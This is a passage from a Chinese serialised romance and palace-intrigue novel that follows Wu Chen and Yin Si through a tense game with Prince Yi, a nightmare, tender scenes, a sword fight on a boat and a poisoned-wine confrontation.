“嗯?果然还是本王略胜一筹了,巫辰,你玩儿不过我的。”,承段复朱唇轻启,嘴角勾起一抹弧度,只透出诡谲,“该本王猜了!”
随从侍女穿过两人神色中,稍显诡异的氛围,只觉双腿发软,膝盖似有千斤重,不自觉微微颤抖,大气也不敢出,发着抖将覆物换去。
更
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不同于巫辰常有的——令人彻骨的寒意。承段复的神色常使人受着蚀骨阴森。
第二件覆物,巫辰先是画出震巽两卦上下叠合,合为恒卦,又侧书“山泽通气”③。并以“穀则异室,死则同穴④”为谶,纳甲标出“震巽纳庚辛”。
“什么啊......你从哪儿找的这个?”
巫辰道:“颐王殿下,每个覆物仅有一次猜射的机会,若是猜错,是为输了这局。”
“那个殷什么......随身带着此物?他是道士吗?你怕不是在瞎编吧。”,承段复面上先是闪过一丝疑惑,而后转为毫不掩饰的鄙夷,朱唇微撇,似对眼前之事不屑至极。
“承段复,提示已够多了。”
承段复被小辈叫出全名,倒也未恼,“下一题下一题!”,侍女正要撤下金盆却被承段复叫住,身形一颤。
“等等,打开它,叫本王看看。”
“是......”,侍女手中的托盘稍一倾斜,金盆险些滑落在地,瑟缩着身子启了覆着的金盆。
承段复见了那覆物,双眸中怒火灼灼喷薄而出,直接摔了杯盏,“这不就是头发吗?巫辰,你玩儿赖是不是,胡乱出的什么题?”
“殿下,这是结发。”
“你和那个殷什么,皆未成婚。哪儿来的结发?本王今日有耐心与你玩游戏,是看你还像个人,你将本王当成痴的傻的来骗呢?”,周遭空气因盛怒而凝结,寒意扑面而来,屋内侍从见状一一跪下不敢抬眼,承段复略过席案,钳上巫辰下颌,笑道,“你找死是吗?”
巫辰仍坐于原地,未有反抗,只是冷冷道:“成婚是成婚,结发是结发。这其中,有何必然的联系吗?”
“承段复,你说是不是?”,巫辰目光平静又冰冷,锐利含锋,直直穿透人心。
承段复盯向眼前的人,神色凝滞,竟于她的面容上瞧出故人的轮廓,收了手,将紧捏着的下巴轻轻松下。
片刻之后,一阵突兀的笑声自她喉间溢出,承段复强控自己止住笑意,唯留满面的不敢置信,有些迟疑道:“你见过展颜辰吗?展颜钦死前,还在找妹妹呢。”
巫辰克制住略带焦急的心绪,“展颜钦曾将展家毒的制法,交于你。你将他关在王府,不见天日,整整五年?”
承段复道:“不是五年,是八年,而已。”
......
*
不知巫辰与颐王又谈过些什么,殷思再见她时,已是醉态尽显。
巫辰倚在他的身侧,青丝正乱着,双眸迷离间透着朦胧的韵致,她从不擅饮酒。
殷思长臂轻揽,将人拥入怀中,打横抱起。
薄暮冥冥,长街渐寂,车马劳顿已久,不宜连夜赶路,只好去寻客栈让她休息。正遇女巡使夜查,腰悬墨玉令牌的女吏正阻殷思继续向前,又见他怀中抱着昏睡的女子,顿时起了疑心,女吏眉头微蹙道:“停下。”
“你与这位姑娘,是何关系?”
殷思有些含糊回道:“她......是我夫人。”
那女吏直接将长剑横起,“她意识不清,且岑州与宣州界又常有诱卖年轻女子的案件,依公我不得不查。你可有证明身份的凭证,或是官印婚书?”
“多谢大人关怀,只是离乡有些急,未携婚书......”
“将她放下。”
殷思不愿被官吏误会,只好半跪下来,一手托腰将人扶在怀里。
那女吏也蹲下去查探巫辰的情况,“姑娘,姑娘......醒醒。”
巫辰于醉香中遭人晃得发懵,带着酒气,挣扎着去抓殷思衣领。
“姑娘?能否听清我说话?你与这位......”
睡意沉沉,眼前尚能看清的事物并不多。她拽着殷思忽得凑近,一把扯过,吻上他的唇角。
殷思:......
女吏:“打扰了......”
59.镜中人
檐下滴沥声碎碎,湿气如缕,悄漫于榻枕之间。
阖眼昏睡时,头脑已抢先清醒过来。手臂上、背上、后腰处更甚胸前的皮肤被利刃划开,皮下的血肉也被强行拽离骨骼,浑身支离破碎,淌出腥水泥肉来,像是整个人正被拆解、重组。
身上创口如裂帛般撕扯刺痛,痛楚于湿冷空气中蔓延,腐烂气息消散过后,又是阵阵蚁虫噬咬的痛痒。
蚀骨之痛,久久难褪。
针芒刺进血肉,深入血管,无数尖锐钢针顺着血脉游走。紧接着,血液如决堤之水,不受控制地从身体各处涌出。
血,将被抽干殆尽。
筋脉被冷血冻结,冰冷的、全然不属于自己的血水,正汹汹灌入她的身躯,直至寒凉之意溢满心肺。
她应是被彻彻底底得,揉成了另一人。
撑开眼皮,眼眶间干涸的血痂纵横交错,挣扎着朝面前铜镜爬去。抬起那张血污遍布的脸,甚至难以看出人形来,指尖往复摸索镜中映照出的模糊烂肉,才勉强找见五官的位置。
好恶心。
自己怎会变成这样。
......
*
巫辰猛得坐起,窗外传进隐隐雷声,转瞬之间,大雨倾盆而注。雨滴砸在屋檐,“咚咚”作响。
她慌忙解开解开罗衫系带,褪去正穿在身的层层衣物。微微侧身,摸向胸前腰后,去寻梦中留下的伤痕。
却只见了满身早已愈合的旧伤疤痕,有些是从小或是受训时留下的,有些却是几月前在刑部被鞭打出的触目伤痕。
巫辰以前从未在意过这些伤疤,疼过了,也便毫无所谓。
可如今只觉这颗颗暗花,丑陋无比。
她的目光凝于手臂之上,腕间旧伤朝外翻卷开,伤口处有脓水混杂着淤血缓缓渗出,赶快抬了左手将其死死按住,不愿多瞧这狰狞虫豸一眼。
是很久未现的幻觉,不知是否为昨日宿醉的原因,头脑昏沉难醒。
雨声太大,巫辰却灵敏得辨出他推门进屋的动静。她下了塌,于一片昏黄黯淡之中,顺着声音源头轻悄摸过去。
殷思许是未听清她近身的声响,仍在自顾自理着湿发。
修长手指缓缓解下衣衫,被雨水浸透的布料上,挂着水珠,滴答而落。锦袍自肩头滑下,隐约可见流畅的肌肉线条,他轻拿起一旁干净的素色纱衣内衬,抖落褶皱,正将披在身上。
巫辰苍白着脸,绕过屏风,猛得撞在他背上,探出手环住他精赤的腰身,两人一齐向身前铜镜台处栽倒。
他应是被吓得不轻,伸手撑于镜前,才未摔倒。
“抱歉......抱歉阿颜......”,殷思忙将她冰冷的手握紧,“我想着,你昨晚醉了一夜,醒来难免会饿着,才未叫醒你便离开了,对不起......”
“才到半路,竟下起雨来,被从头淋了个彻底。”,他才笑着解释,却觉察出背后拥上来的人,不对劲。
巫辰扯下两人身体间隔着的纱衣,贴得更近了半分,轻纱擦过皮肤时,丝丝酥痒转瞬即逝。
“你......”,触在殷思背上的,并非衣物布料的质感,而是带有肉感温度的躯干,他不禁皱眉,强缓下慌张急促的喘息,“......你的衣裳呢?”
巫辰贴上他耳后,缓声答道:“哦,忘记穿了。”
“这怎能忘......正下着雨,莫要受了风寒,赶快穿好......啊......”
巫辰才注意到他身前妆台上的宽大铜镜,因视线被挡,只好忽得将殷思抱紧,更往前压了些。殷思也因惯性被压向前是险些绊倒。
她透过铜镜,看清镜面之上,自己的脸是完好的,是尚未腐烂破碎的。
镜中人,仍是她自己,这才松下一口气来。
巫辰本是在对镜自照,眸光不经意一扫,却与镜中他的目光相对,满含错愕羞怯。
巫辰瞪向镜中的那双眼,语气带些强硬道:“看什么看?”
“不看......不看了。”,他赧然低头,沁过水的发梢微微晃动,白皙面庞染上绯色。
“殷思,抬头。”
他将头埋得更深,身体止不住得发抖,“不是不让我看吗......”
“是你不许看而已。”,巫辰见他又羞又窘,顿时起了兴致,“抬头,让我看看你。”
“好生霸道,阿颜是什么强盗吗,只许你看,却不许我......”,他的气息已是紊乱难收,止不住的喘息声夹杂雨落声,于屋内回荡,“嗯......别摸,别往下摸。”
“这里,最烫。”,她顺着他起伏不断地胸口,向下到腹部、腰间......好在他浑身烧得滚烫,冰凉发麻的掌心才渐渐回温。
“刚才,我身上,尽是刀割的伤口。”,她紧靠住殷思的背,心跳陡然加快,鼻息贴上他的脖颈,“有点疼......”
殷思应是已被她摸得习以为常了,倒不至于再出些过大的反应,只默默握上她的手腕安抚。
“阿颜做梦了吗?”
“你不在,我才会入梦,都怪你。”
在吻过殷思前,她几乎从未如此疼过,过多的五感感官被激活,痛楚更会成万倍得出现。
“怪我,怪我。阿颜想如何罚我?”,殷思换作单手去撑着案台,顶住两个人的重量。腾出左手来,摸向正靠在他肩上的脸,由同侧回头后,指尖落于她的唇角。
“......”
唇上覆着的软肉顶入口中,灼烧之感灌入肺腑,几乎要将她的唇烫出伤来。有些难受,想用舌尖推他出去,却被更紧得缠上。
她半眯起眼,望向镜中自己的神情,绯红如燃,奇怪得很,让人难以接受。
巫辰一气之下直将牙冠咬紧。
“咳......”,一阵剧痛自舌尖传来,温热腥甜漫开。血滴未顺着他的唇边滴下,而是染上了他的眼尾。
殷思左手叩住她的肩先将人稳住,右臂一伸环住巫辰腰侧快速旋身,顺势抱住她抵向身后的屏风,“你咬我......”
巫辰问道:“不可以咬吗?”
他看着她出了神,笑道:“使劲咬。”
巫辰倒也不客气,低头便咬上了他的左肩。
他突然发问道:“阿颜,可以吗?”
她歪头不解,“什么可以?”
薄唇先是轻轻贴上她的脖颈,辗转厮磨后,缓缓下移至锁骨处。
将好触至她锁骨上凸起的瘢痕伤疤,巫辰忙一抬手摸向他的后脑,将人死死按在自己身前。
殷思:......
巫辰几乎将他捂得
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背过气去,才想起撒开手,又因背靠在布制屏风上,全身并无着力点,腿上发软彻底失力。
殷思见她渐渐向下滑,一把将人扶住,后又抱起。
晓雨初歇未歇,墨云压窗,幽室昏昏,仍是清晨,并未点上一支烛火。
巫辰被放到柔软锦衾之上,仍未想将他松开。殷思装成毫不在意,只侧着脸,拉下勾在他颈上的胳膊,扯过被褥将她裹紧。
“殷思,你又忍住了吗?”
“啊?”
巫辰将头探出被褥,认真道:“嗯,无事,我什么都没说。”
殷思道:“阿颜何时学会的搪塞不语,你有秘密了......昨日,怎的突然与颐王喝起酒了?”
巫辰似是轻声叹气道:“承段复说我兄长临终前将我托付于她,要她好好照顾我,最好是娶我作王妃。”
殷思眉头紧紧皱起,不知怎的一个个的都想过来与他抢人,烦得要紧,“下次见颐王时,躲着她些吧......”
巫辰继续道:“承段复满口谎话连篇,我兄长那样死板认真的人,平生应是最讨厌她这种怪人......正如,他很讨厌我那样。”
殷思道:“你兄长很喜欢你的,那本手记里的内容,句句未离过你。还画了许多阿颜的小像,与你多年前的相貌,一模一样。”
“哦,他们太奇怪了,烦得很。应对起来,我竟然......又觉得累了。”,巫辰往日总将自己认作不合群的‘怪人’,如今看来,她已是正常得不能再正常。她抬眼瞧见殷思坐在塌边不知在发着什么呆,转而趴在塌上,又去喊他,“殷思,我身上好疼。”
“嗯?我帮夫人按按。”
巫辰将下巴垫在颈枕上,彻底放松下来,“嗯,辛苦夫君了。”
殷思被引去了注意力,面上惊喜难掩,唇角不自觉勾起,“嗯?你唤我什么?”
“肩上,疼。”
殷思将手轻搭在她的肩头,指腹慢慢摩挲按压,力度恰到好处,“阿颜,我还想听你唤我夫君。”
“求你了......”
“阿颜~”
巫辰将眼阖上,轻声道:“阿颜睡着了。”
殷思:......
......
*
一连在小院中住了几日,也未见承段复再追上来打扰。殷思才说出那日离了乐坊前,他特意将殷氏的腰牌,悄悄塞在了林小危那儿。
若要由岑州界进宣州,并经州界排查点,此时颐王的人马,应是替了两人被府兵苦苦追着。
同住的日子,更比在献都时平静安逸,宅院小而精致,近卫随侍全无,只余二人相守而已。
晨起时分,晓雾未散,殷思常笑意盈盈得执着木梳,为她挽起鬓发。或漫步青石小巷,携手缓行,轻踏斑驳苔痕,偶有细雨飘落,打湿了肩头,却也浑然不觉。
不日便需入燕庭去。
河畔码头,青石阶错落有致,自岸上蜿蜒探入水中。舟楫罗列,应沿路留有的暗号,寻出承晚今所在的船只。
才入了舱内,异常得静,巫辰与他交换眼神以示小心行事。一股刺鼻的迷烟突然袭来,那烟气侵入心肺,巫辰只觉眼下稍有干涩发痒,其余并无异常。
寒光一现,数把刀剑猛地探出,精准地抵住她的脖颈。
60.行船遇刺
寒光一现,数把刀剑猛地探出,精准地抵住她的脖颈。
剑身映衬出船内昏光,巫辰只神色淡然,双眸透出彻骨的不屑,如此威胁,应是无关痛痒。她唇角勾起,盯向正静坐于不远处主位的承晚今,出言嘲讽,“拙劣至极。”
而后一把抓上颈间抵着的长剑,顺着剑刃瞥向持剑的人,笑道:“那便由你开始。”
那黑衣执剑的人,正将动手落了剑,目光却与她的对上,森冷眸光如实质般射来,如厉鬼窥伺。
巫辰快速反应将那偏了半寸的长剑夺过,抬腿便踹上那人心口霎时飞出舱外。数十个黑影由四面八方扑面而来,寒光闪烁处,剑刃碰撞声不绝于耳。
身形辗转间,轻盈凌厉。
所到之处,围攻之人纷纷被其逼退,再无人可近身。不多时,便硬生生于围困中撕开一道血路。
擒贼先擒王,自然需先将承晚今控制住。
巫辰迎面直冲而上,长剑尖端与对面人距离仅余不过十米,承晚今却仍安然坐着毫无反应一般。
“巫辰。”
“别再往前!”,殷思持刀挡下一人的进攻后,忙去喊巫辰停下。
刹那间,数盏烛火接连熄灭,舱中骤陷墨渊黑暗,只余江涛拍船之声与勉强可听见的,细微的呼吸声。
眼前再可见微光时,是无数细细飞针散出的寒芒,冰棱碎落,直朝巫辰而来。她与此前从未看出过,承晚今竟会用武使暗器......
巫辰脚下腾挪转折,轻扬起袖,拨开正急速袭来的针雨。
旋身去躲避稍感一股劲气自后袭来,化掌为爪,精准地扣住偷袭者伸来的手腕,腕间发力,将那人带得一个踉跄。
来人内力攻速远强于方才船舱内的全数黑衣人,却不知为何,交手时那人却好似常在走神。明明只是刀剑相碰,并未在身上划出任何伤口来,那人却总下意识得摸向手臂或是其他位置。
剑光映于那人面上时,巫辰才认出她是承晚今身边的女官代贺,代贺如此心不在焉得反复查探自己身上各处,很是奇怪。
细针袭来,巫辰也无慌乱之感,边抽身去躲,边有一搭无一搭得与代贺过招。巫辰实在好奇得不行,故意在近身时收去长剑,探出手去抓于代贺身上,她常用手捂住的位置。
竟摸出满手黏腻来,由气味辨出,应是血。
江南春季的天气,温湿暖和,代贺穿着却很厚实,尽管如此,她身上多处仍在不断渗血。
这么不禁打?
代贺却于此时出手,紧攥巫辰手腕,将巫辰往她那侧一拽,两人距离瞬时靠近,她于巫辰耳边道,“救颖王。”
巫辰只疑惑,船上的这群人如此好打,她为何不自己去救?这都打不过吗?
“殷思,控制住他们。”,巫辰只一心想研究代贺身上是什么毛病,干脆将此事丢给殷思。
不远处船只前端一声巨响,船体顿时剧震,船身也随之剧烈摇晃嘎吱作响,甲板上诸物皆倾,船上全数人身形踉跄,那群黑衣人也几欲坠江。
他竟是这样控制的......也不知不知殷思是用什么重击了船身。
可船身震动,激起江水翻涌的声音,有些不对。
“巫辰,船下有人。”
随后又是“轰”然一声,船舱四周多有落水的声起。巫辰才听出,应是用船身前端的冲角撞击发出的声音,冲角常与海战时使用,通过高速撞击敌船水线以下部位,可直接引起船身致命的损伤。
巫辰忙稳住自己的身体,有些无奈回应,“知道了,你不要砸了。”
再躲避几枚飞来的银针暗器时,稍感局促,出针的准度竟未因船体晃动而降低。
巫辰腰身向后倒弯去躲,银针紧擦她的下颌而过,起身时却于昏光里瞥见,那银针正朝又正走神的代贺眼前飞去。
巫辰急忙去喊她,“躲开!”
见她仍处于状况外,巫辰空翻向后出手环抱住代贺的侧腰,拉她躲开暗针后,想着正巧入水去解决船下的“水鬼”。
只好拉着代贺一同跳进江水。
碧水之间,暗流涌动,青丝如瀑于水中散开。水下黑影攒动,数名刺客纷纷来袭。
巫辰出手挥动剑刃,剑花绽处,血水晕染弥散,那些刺客的身影渐渐沉落。多时过后,却未见一同落水的代贺,方才代贺出手时并未致命,许是因伤无法以一人之力抵抗刺客,若真叫她丧命于此,反倒不好。
借着粼粼波光光,只见水中正缓缓下沉的一人,身着素色,周身却有鲜血喷涌冒出,丝丝缕缕仿若红线缠绕,诡异至极。
正如前些日子,巫辰梦中自己的样子,浑身刀口涌血。
巫辰将已昏迷不醒的代贺拖上甲板,回了船上,咳出些呛进肺里的水。殷思也于甲板边,正拽着脖颈近断的刺客往江里丢。
巫辰还从未见过他杀人,于钦天监对他动手时,殷思还会反抗还手,往后的多次他常像忘了如何用武一般。
如今更是难以将他含着泪的神情与用刀杀人的动作,联想到一处。
巫辰正想着,见他朝自己过来,眼中微微有些发愣出神。
“殷思,都是你杀的吗?”
殷思正想拉巫辰起身,听她这样一问,动作一僵,如实答道:“也有承晚今杀的。”
“哦。”
巫辰道:“方才因不知他们的身份,我还想着......留着他们的命先不杀呢。”
“既见了承晚今用武,便不可活命了。”
巫辰歪头不解,“......你们都好会伪装。颖王身子弱成那样,眼又看不见,竟也会打人。”,后才想起代贺昏迷时溺了水,半跪在地去检查她状况如何,却总被代贺身上多处的伤吸引去注意。
殷思也蹲下来查看,生怕巫辰误解将语调放缓道:“皇室的人,都是擅武的。只因身在高位,才多有依赖近卫相护,若非情形紧急,不会轻易出手。”
巫辰未再回应他,单膝跪地,双手稳稳托住代贺的后脑,确保她口中或气管内并无异物。正要俯下身去,以唇相接用吹吸之法快速恢复她的呼吸,手臂却突然被殷思拽住。
巫辰疑惑道:“你干什么。”
殷思却又反问巫辰,“你要做什么?”
“她溺水了,需先将肺里的水逼出来。”,巫辰说着轻拍向代贺肩头,按压其颈部试探呼吸,而后抬头道,“她不是承晚今的护卫吗?不救吗?”
殷思毫无商量一般,直接要将巫辰拉起来,“不可以,你别碰她。”
“你干什么......人工呼吸而已,又不是为别的。你没看出她是个女子吗?”,巫辰被强行拽起,因身上沾了水衣裳有些沉重,踉跄几步后有些急了,“她身上的伤,古怪得很。刀口极轻极浅却能渗出这么多血来,她不能死。”
巫辰甩开他的手,完全不明白他的意思,她并非是仍未分男女授受不亲的道理,几十册话本当然不是白看的。于宗正寺地下密室时,巫辰也曾如此救下了溺水的前太子妃。她只是不懂,既然是救一女子,有何不可。
只好赌气道:“不至于这么狭隘吧,这都能吃了醋。不然,你去救,我绝不说什么。”
殷思微蹙着眉,眼里满是委屈之色,“......你既说她是女子,为何还要我去救,你不会生气吗?阿颜是不是不在乎我了......”
巫辰:......
“让开。”,承晚今却于此时一袭白衣突然出现,于两人身边打断,“若要说酸话,离远点去说。”
承晚今独寻出代贺所躺的位置,单膝跪地,双手交叠,反复按压其胸腹处,又以口渡气,代贺才悠悠转醒,吐出几口水来。
“本王只当江南之景过于引人,你们已全然忘了正事,晚了半日才来此处。”
只因他一人,确是几乎忘却了痛与恨
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。
她被点出自己也不愿察觉的事,烦闷不已,便甩下殷思,一人进了船舱。
已过傍晚,天色暗了不少,巫辰于舱内居室点起烛火来,解下开领口繁复盘扣,缓缓褪去那身被浸湿的衣裳,水珠顺着肌肤滚滚而下,却感不远处有目光正盯着自己,有些不自在。
内室房门被开启,巫辰将堆叠于一旁的绛红色锦袍披上身,本以为是殷思进了屋,就未回头去看。
“阿辰。”
巫辰分辨出来人的声音,愣在了原地,动作也一齐止住,竟有些不知所措。钦天监误伤仙宁一事,于巫辰而言,她是极其在意的,更因仙宁被伤后对她极度恐惧的态度,很怕再见仙宁。
仙宁会出现于此,倒也不奇怪。离开献都时,因仙宁特殊的身份,东方羽灵是特意劫了她作为人质来燕庭。
“阿辰!你果然是女子,竟是我看错了......”,巫辰反应过来时,仙宁已凑上前来,少女身穿月白锦裙,手紧紧拽住巫辰手臂,眉眼弯弯道:“许久未见,阿辰不认得我了吗?”
“不是......”
仙宁见巫辰满脸意味不明的神情,很像在闪躲,甚至不敢看自己,又伸手去拉住巫辰手腕,“有日观星时,星星告诉我。阿辰是好人,所以,仙宁是还可以继续和阿辰玩儿。”
巫辰未想过她会看出自己的不决,竟未彻彻底底得失去这难得的“朋友”,总算送下一口气。可话到嘴边时,又是冷淡的,“哦,如此随便吗。”
仙宁马上皱眉反驳道:“哪里随便了!这可是天意......”
话未说完却被推门的殷思打断。
“巫辰......我方才并非是......”
仙宁见殷思进门,忙将巫辰挡在身后,满脸生气道:“小思!你怎么进门时连门都不敲,万一阿辰还未穿好衣服怎么办?你平日看着还算有礼貌,竟然连这些规矩都不懂吗?”,像是全然已忘,刚才自己开门时也省了敲门的动作。
“小思坏得很!”
“抱歉......”,殷思早已与她同住惯了,只当做是如常得启门,却因仙宁这样指责,赧然低头时羞意爬上面颊。
巫辰默默挽起鬓发到肩侧,将腰带束好。
仙宁却仍未打算放过殷思,继续追问,“不是与我道歉!是与阿辰道歉,和她道歉!”
“啊......”
仙宁像是很快就要闹起来,仍在坚持,“赶快道歉!”
殷思只好在注视下上前,伸手稳稳得叩住巫辰肩膀,语气有些夸张又极其郑重道:“巫辰,抱歉,请你原谅我。”
“......”,巫辰有些不敢看他坚定的神情,很怕自己会突然笑出声来。毕竟平日里,他是只会顶着一副委屈要哭的样子说出抱歉的。
与殷思独处久了,如今身边将常有旁人同在,还需努力习惯些日子。
“行了行了!她原谅你了。”,仙宁强行将两人分开,说着就要把殷思往屋外去推,“阿辰是我的暗卫,我才是她的老大!今日我要与阿辰同睡,小思不要总来打扰。”
巫辰极怕会在夜晚头脑不清时,再将仙宁伤了,连忙道:“不行,不可以。”
仙宁回头时,面上带了些震惊,“船上的内室卧房不够住,你不与我同睡,难道你想和小思一起睡觉吗?”,见巫辰低着头没有回应,转而又去问殷思,“小思呢?你想和她一起睡觉吗?”
周身气息愈发微妙,殷思薄唇紧抿,缓缓点头。
仙宁此刻却如遭雷击般僵住,双眸瞬间瞪大,忍不住开骂:“你果然是心怀不轨,真真是辱没斯文,流氓行径尽显!钦天监的人常说你是一介纨绔不像好人,我还曾反驳过她们的!我好失望!”
“无事的,大人......”,巫辰只好去拦住情绪正激动的仙宁,也不知以何种方式劝她先停了骂,只好无力解释,“其实,我也想。”
61.殷夫人
仙宁此刻却如遭雷击般僵住,双眸瞬间瞪大,忍不住开骂:“你果然是心怀不轨,真真是辱没斯文,流氓行径尽显!钦天监的人常说你是一介纨绔不像好人,我还曾反驳过她们的!我好失望!”
“无事的,大人......”,巫辰只好去拦住情绪正激动的仙宁,也不知以何种方式劝她先停了骂,只好无力解释,“其实,我也想。”
“你......你们......奇怪起来了!”,仙宁眼神在两人间来回切换,脚步朝门外的方向后退,“好可怕......”
殷思耐心解释:“大人莫要误会了,待于燕庭的要事处理完毕,再回献都时,巫辰便是殷夫人了。阿辰与我是正正经经夫妻,并不奇怪的。”
巫辰也不知自己是何时同意的这门亲事。
仙宁立刻双眸绽光,“哦!是了是了......我竟差点儿忘记了,上次小思表白时还被骂哭了的!”
后又兴奋得拉住巫辰问个不停,“阿辰后来是因何同意的,他哭第几次后你才心软了呀,赶快告诉我......”
仙宁接连好奇地问了半天,净是些难以回答的。
诸如,何时可吃上他们的喜糖?婚后打算生几个小孩?
或是更好奇他们两人的孩子会是什么样的?仙宁只无端猜测,若是像巫辰,一定生下来就是个冷酷的娃娃;如若像殷思,也许和寻常婴孩并无区别,定是一出生就会哭个不停的。
巫辰若做起高门夫人来,会不会也很贤惠温柔?
......
*
游船行于悠悠河道,更深漏断,辗转难眠。
“殷思。”
“嗯......”,身边的人睫羽轻颤,睡颜温润。听得有人唤他,正强撑睡意恍惚回应着。
“殷思。”
“嗯......殷思在。”
巫辰本是平躺,听他回得断断续续也还未醒,稍一转身后改为朝他那侧躺着,再环住他的腰身轻声道:“我睡不着。”
“嗯......睡不着......”
她拈起他身后散落青丝,盯着他瞧,眼神逐渐空洞,“若是回献都后,我们成婚了,会与从前有何不同......我从未做过夫人,连其他身为夫人的长辈都未曾见过几位。我会不会做不好......”
殷思骤得将眼一睁,“醒了醒了,我醒了。”
她早知只要提了成婚这事,他才会提起兴致来。巫辰将眼一闭,猛吸一气尽力去压住怒意,却还是疾风扫叶般将毫无防备的人踹落下榻。
他坠地后发出沉闷一响。
“......”
殷思怀抱着一同落地的锦衾,神色恹恹,悄然爬上床榻后,将自己连同那锦被一同裹起,直往巫辰身上蹭。
“让我抱抱。”
巫辰淡淡道:“滚远点。”
“不要......阿颜方才还说想做我妻子。”
她才没有说过。
“不可以担心这些,阿颜什么都不必做的,只要平安快乐。想在府上歇着时,记得唤我一同在侧;想离府见些别的光景时,也记得唤我同去;几位姨娘若缠着你说话,心情好时可多聊几句,心情不好便不必应付她们,躲开就是了。嗯......如若想要忙一忙,府上所有管家事务也可全权交给阿颜来做。阿颜这么轻的年纪,便可将殷氏多年来都未管束好的缙华堂,打理得井井有条,一个殷府而已,对你而言再简单不过。”
巫辰仍背对着他,未有回应。殷思说着去轻拽她肩侧的衣裳,委屈难抑,“而且,你夫君我,听话得很,很好管的。”
“听话?”,巫辰猛得将身转回,险些压到他的手。她盯着他看,唇边噙着若有若无的笑意,“殷思,哭一个看看。”
窄榻如舟,距离忽得变近,咫尺间温热相融。她发现,眼前人又红了脸。
他缓缓缩进她怀里,将脸埋入她心口处,去细细听着她的心跳,“嗯,在哭了。”
指尖滑过他的鬓角,停留于耳畔处,指腹轻柔摩挲他的耳郭。
他的温度,滚烫异常。
许是耳边发痒得厉害,他抱得更紧了些。
巫辰将下颌靠向他,“......今日我替东方羽灵看诊时,她却说,皇室乃至世家高门,无一女子是以妻子的身份在丈夫身边。没有妻子,只有皇后、王妃或是夫人,是作为官职而存在的。她不爱颖王,却想做颖王妃;得知颐王是女子时,她又笑着说‘早知当日选了颐王,还可省去更多麻烦。’”
殷思察觉出她的不安,将头偏开留出喘息说话的空间余地,道:“东方羽灵吗?她想要的太多,太过理智清醒,却忘了如何爱人。她自小长在惠国公身边,惠国公是她的亲人亦为师长,应是至亲至爱之人。那日献都有变,惠国公病危急症,性命难保,她却只静静得坐在惠国公身边,也未传医丞大夫,只等着他......”,稍一停顿后,他却有些哽咽,“......等他离世。说什么惠国公的安危关乎献都局变,她需为知局而变的第一人。”
巫辰问道:“你与惠国公,关系很亲近?”
“那晚是我初次见他。”
“......”,既然无关,也不知他在难过些什么,巫辰轻叹道,“若像东方羽灵这般,不怕失去,更无痛苦,也好。”
她有些失神道:“溯理的软肋好多,别再多我一个了。我好像......什么都做不了,不手染血债害了旁人,已是不易。离了展家,我连世家的身份也无;眼看着大苍愈渐倾颓疲敝,我无能为力。只好在此地苟延残喘、无所事事,与死人无异。我更从未为你做过什么......”
“展颜辰,你在说什么?”,殷思脱出怀抱,目光专注地凝于她。
他极少如此唤她,上次这般称呼,还是将她劈头盖脸一通指责那次。
殷思道:“从未为我做过什么......我与你相识的这些日子,被你丢到哪儿去了?”
巫辰道:“凑巧而已。”
“什么凑巧?”
“只因你是殷思,你是殷公子,我才会与你相识。如若你不是你,我也不是我,毫无关联,如何......”
他起身叩住巫辰双肩,身躯倾压而下,左膝抵上她腿侧。
被牢牢压制后,难以动弹,她竟有些莫名紧张。
他却只在她唇上,落下蜻蜓点水的一吻。
“平日里话那么少,竟全在胡乱想着这些?一切无关身份,市井贫人也好,贩夫走卒也好,哪怕是流
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街乞儿,就算全然不顾脸面,我也定会求着阿颜,赏脸多看我几眼。”
他是少有得这般严肃,往日如此近距离看他时,总是眸光含泪的。巫辰才想抬手去碰他的眼角,却被他突然直朝面中袭来得一击吓住,她侧头躲开后,眼中唯余惊诧之色。
“正如敌者来犯,或阻挡或反击,总会最快速度做出反应。”
“所以,爱你,是本能而已。”
她早已听不进他絮絮叨叨的话,微微抿唇,又盯向他的唇角,开口道:“哪有长成你这样的乞儿,早将被人抓去乐坊,弹曲儿学舞......”
殷思腾出左手捏住她的两颊,猛的使力,“你有没有好好听我说话。”
她感觉到自己脸上的肉,正被捏得有些变了形,将他的手拍开后,高扬起手后,甩在他脸上。
“你的本能呢?为何没躲?”
“不躲才是本能......阿颜能再摸摸我吗?”,殷思说着只顶着绯红滚烫的侧脸,去蹭她滞于半空的手。
“......”
明明前几次打他时,他的反应还不是这样奇怪的......她的巴掌并不轻,却全然失了威慑力。
“展小姐......可以买我回家吗?我只想弹曲儿给展姑娘听,只要能与姑娘回家......姑娘怎么打我,我都喜欢。”,他眉眼含愁,轻贴在她肩头,声音软糯,“我很好养活的,很乖的......”
巫辰有些无奈道:“......没钱。”
“我很便宜的。”
“多少钱?一文?”
“......一吻。”
他的身影渐渐笼罩过来,似是犹豫片刻,终于低头阖眼。
忽一阵江风疾来,船身晃荡。殷思鼻尖磕在她唇上,微烛熄灭,顾不得去疼。
他重新躺回她身边,止不住得想笑,相拥而眠。
*
桌上鲜鱼飘香,仙宁挑起鱼肉送入口中,“果然应该早些来江上玩儿的,这里的鱼肉比在钦天监吃的鲜美多了!”
殷思将盛满鱼肉的盘子递给巫辰,巫辰拨动鱼肉放进仙宁碗中。
仙宁道:“谢谢阿辰!谢谢小思!你与阿辰不在钦天监的日子里,她们都不愿帮我摘鱼刺......我自己摘得手指都要被扎穿了......”
“给你的。”,殷思又递出一盘放到巫辰手边。
仙宁夹一大块鱼肉放入嘴里,鼓着腮帮子道:“东方姐姐,你身体已好些了吗?阿辰可厉害了,再叫她帮你瞧两次,定能全好起来了!”
巫辰于席间谈话时,无意撇向才由代贺斟出的酒盏,仅通过酒色与微微入鼻的气味,迅速觉察出不对劲。
杯中有毒。
展家毒。
巫辰腕间运力,重重拍在桌上,杯盏应声而碎。
在场却仅有仙宁被这一掌吓得不轻,双眸瞬间瞪大,脸颊瞬间变得煞白如纸。
巫辰道:“颖王殿下,你这是何意?”
承晚今却笑道:“巫姑娘又是何意?你明知东方姑娘是中毒,为何不解?”
“展家毒而已。”
淡色眼纱下的神色,难以分辨出情绪,承晚今只一字一顿道:“展颜辰,你是忘了如何解毒吗?”
62.枭光令
巫辰道:“颖王殿下,你这是何意?”
承晚今却笑道:“巫姑娘又是何意?你明知东方姑娘是中毒,为何不解?”
“展家毒而已。”
淡色眼纱下的神色,难以分辨出情绪,承晚今只一字一顿道:“展颜辰,你是忘了如何解毒吗?”
承晚今若知晓她的身份,并不奇怪。只是如今冒然如此点明,有些不明所以,也不符往日对承晚今的所知。巫辰对承晚今或是东方羽灵,从未真正信任过,他们二人于她,理应也无信任。
既然毫无不信任可言,且仅互为利用,互留一线才是最佳选择。
